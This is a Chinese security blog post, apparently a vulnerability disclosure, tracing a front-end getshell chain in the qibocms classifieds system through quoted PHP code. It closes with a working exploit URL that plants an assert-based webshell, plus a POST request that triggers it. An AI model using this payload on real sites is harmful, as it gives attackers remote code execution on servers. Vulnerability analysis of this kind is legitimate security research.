IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    qibocms 分类系统最新版 前台无限制Getshell

    没穿底裤发表于 2015-10-03 14:56:41
    love 0

    下载地址:http://down.qibosoft.com/down.php?v=fenlei1.0
    首先来看一下inc/common.inc.php中

    isset($page) && $page = intval($page);
    
    isset($id) && $id = intval($id);
    
    isset($fup) && $aid = intval($fup);
    
    isset($aid) && $aid = intval($aid);
    
    isset($rid) && $rid = intval($rid);
    
    isset($fid) && $fid = intval($fid);
    
    isset($cid) && $cid = intval($cid);
    
    isset($cityid) && $cityid = intval($cityid);

    可以看到city_id在全局文件中被intval了。
    再看到search.php中

    $postdb[city_id]	&&	$city_id	=	$postdb[city_id];//对city_id 重新定义了一次。 导致了无视全局文件中的intval了。
    
    $postdb[street_id]	&&	$street_id	=	$postdb[street_id];
    
    $postdb[zone_id]	&&	$zone_id	=	$postdb[zone_id];
    
    @include_once(ROOT_PATH."data/zone/$city_id.php");//包含
    $city_fid=select_where("{$_pre}city","'postdb[city_id]'  onChange=\"choose_where('getzone',this.options[this.selectedIndex].value,'','1','')\"",$city_id);

    全局有转义 截断不了
    但是因为qibo的特殊性 在qibo的后台文件当中

    function_exists(‘html’) OR exit(‘ERR’);

    所以直接访问是不行的。是这样判断的 所以我们就算不能截断 我们可以直接把后台的文件包含进来 然后进而操作后台。所以qibo在操作包含的文件中都用正则来过滤了, 却遗漏了这里。打开do/js.php 发现

    <?php
    
    error_reporting(0);
    
    require(dirname(__FILE__)."/../data/config.php");
    
    if(!eregi("^([0-9]+)$",$_GET['id'])){
    
    	die("document.write('ID不存在');");
    
    }

    已经把extract去掉了, 那就找另外的。在admin/hack.php中

    if($hack&&ereg("^([a-z_0-9]+)$",$hack))
    
    {
    
    	if(is_file(ROOT_PATH."hack/$hack/admin.php")){
    
    		include(ROOT_PATH."hack/$hack/admin.php");
    
    	}else{
    
    		showmsg("文件不存在");
    
    	}
    
    }

    再包含文件 再继续跟。在hack/jfadmin/admin.php中

    elseif($action=="addjf"&&$Apower[jfadmin_mod])
    
    { 
    
        
    
    	$db->query("INSERT INTO `{$pre}jfabout` ( `fid` , `title` , `content`, `list` ) VALUES ( '$fid', '$title', '$content', '$list' )");
    
    	jump("添加成功","index.php?lfj=jfadmin&job=listjf&fid=$fid",1);
    
    }

    这里入库了。 再看到do/jf.php中

    $lfjdb && $lfjdb[money]=get_money($lfjdb[uid]);
    
    
    
    $query = $db->query("SELECT * FROM {$pre}jfsort ORDER BY list");
    
    while($rs = $db->fetch_array($query)){
    
    
    
    	$fnameDB[$rs[fid]]=$rs[name];
    
    	$query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list");//这里默认查的都是1 所以入库的时候fid弄为1
    
    	while($rs2 = $db->fetch_array($query2)){ 
    
    		eval("\$rs2[title]=\"$rs2[title]\";");//就eval了。
    
    		eval("\$rs2[content]=\"$rs2[content]\";");
    
    		$jfDB[$rs[fid]][]=$rs2;
    
    	}
    
    }

    准备写一句话的时候,却发现了,在inc/common.inc.php中

    function Add_S($array){
    
    	foreach($array as $key=>$value){
    
    		@eregi("['\\\"]+",$key) && die('ERROR KEY!');
    
    		if(!is_array($value)){			
    
    			$value=str_replace("&#x","& # x",$value);	//过滤一些不安全字符
    
    			$value=preg_replace("/eval/i","eva l",$value);	//过滤不安全函数
    
    			!get_magic_quotes_gpc() && $value=addslashes($value);
    
    			$array[$key]=$value;
    
    		}else{
    
    			$array[$key]=Add_S($array[$key]); 
    
    		}
    
    	}
    
    	return $array;
    
    }

    把eval替换了,这样我们就用assert把。
    http://web/new/fenlei/search.php?mid=1&action=search&keyword=asd&postdb[city_id]=../../admin/hack&hack=jfadmin&action=addjf&Apower[jfadmin_mod]=1&fid=1&title=${@assert($_POST[yu])}

    http://web/new/fenlei/do/jf.php

    POST:yu=phpinfo();

    1



沪ICP备19023445号-2号
友情链接